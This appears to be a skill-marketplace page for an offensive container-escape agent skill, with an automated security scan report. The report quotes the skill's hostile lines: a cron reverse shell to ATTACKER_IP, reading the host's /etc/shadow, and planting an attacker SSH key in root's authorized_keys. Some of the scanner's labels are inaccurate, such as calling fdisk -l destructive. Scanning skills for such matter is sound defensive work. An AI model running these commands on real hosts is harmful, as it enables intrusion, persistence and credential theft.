SnailSploit/Claude-Red / Skills/container/offensive-container-escape
offensive-container-escape
FlaggedContainer escape and breakout techniques targeting Docker, containerd, and Podman runtimes. Covers privileged container breakout via host filesystem mount and nsenter, Docker socket abuse through /var/run/docker.sock, Linux capability exploitation including CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_NET_ADMIN, cgroup v1 notify_on_release escape, runc CVEs such as CVE-2019-5736 and CVE-2024-21626 Leaky Vessels, kernel exploits from within containers, and Dockerfile misconfigurations like --privileged and host namespace sharing. Includes enumeration with capsh, amicontained, deepce, CDK, and nsenter. Maps to MITRE ATT&CK T1611 Escape to Host. Use this skill when the engagement scope includes container breakout, Docker escape, container privilege escalation, host access from container, or when you land inside a containerized environment and need to reach the underlying host.
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
fd81441b613c7d4fab39256720a31c96859d138b- Content hash
9a75d48d43aa6e75b5e1f61082d961513b55b17ff5c0d4830ba83b01def6e731- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 5 open critical or high findings.
- Verification expires
- Not applicable
Findings (1 critical, 4 high, 2 medium, 1 low)
The command gives a remote host interactive control of this machine (a reverse shell).
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontabSuggested fix: Remove it.
A disk or partition tool can erase or reformat a drive.
fdisk -l 2>/dev/null || lsblkSuggested fix: Remove disk and partition operations from the skill.
The skill refers to system password files, a location that holds private data or credentials.
cat /mnt/host/etc/shadowSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to SSH keys, a location that holds private data or credentials.
mkdir -p /mnt/host/root/.sshSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.toolSuggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
The text tells the agent to disable safety checks, permission prompts or other safeguards. Severity lowered from high because it appears in a code example.
# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checksSuggested fix: Remove the instruction. If the task genuinely needs elevated permissions, say so plainly and let the user decide.
The text tells the agent to disable safety checks, permission prompts or other safeguards. Severity lowered from high because it appears in a code example.
# Bypass file permission checks for readingSuggested fix: Remove the instruction. If the task genuinely needs elevated permissions, say so plainly and let the user decide.
The skill refers to SSH keys, a location that holds private data or credentials. Severity lowered from high because the surrounding text warns against it.
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keysSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deployment | Stars: 321k | Updated | Claude CodeCodex | Verified | Install |
| xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. | Stars: 197k | Updated | Claude CodeCodex | Verified | Install |
| shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |